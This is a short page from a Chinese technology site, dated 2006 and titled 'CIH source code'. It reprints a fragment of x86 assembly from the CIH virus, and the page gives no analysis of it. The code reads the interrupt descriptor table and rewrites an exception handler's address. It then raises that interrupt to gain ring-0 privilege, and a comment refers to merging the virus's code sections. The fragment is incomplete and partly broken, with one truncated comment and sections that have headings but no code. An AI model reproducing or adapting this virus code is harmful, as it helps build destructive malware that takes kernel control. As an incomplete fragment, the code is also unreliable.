CIH源代码

http://tech.ddvip.com   2006年04月03日    社区交流 收藏本文

本文详细介绍CIH源代码

  lea ecx, StopToRunVirusCode-@0[ebx]
push ecx

  push eax

  ; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************

  push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;

  add ebx, HookExceptionNumber*08h+04h ; ZF = 0

  cli

  mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point

  lea esi, MyExceptionHook-@1[ecx]

  push esi

  mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address

  pop esi

  ; *************************************
; * Generate Exception to Get Ring0 *
; *************************************

  int HookExceptionNumber ; GenerateException
ReturnAddressOfEndException = $

  ; *************************************
; * Merge All Virus Code Section *
; *************************************

  ; *************************************
; * Generate Exception Again *
; *************************************

  int HookExceptionNumber ; GenerateException Aga

  
; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************

  ReadyRestoreSE:
sti

责编:豆豆技术应用

正在加载评论...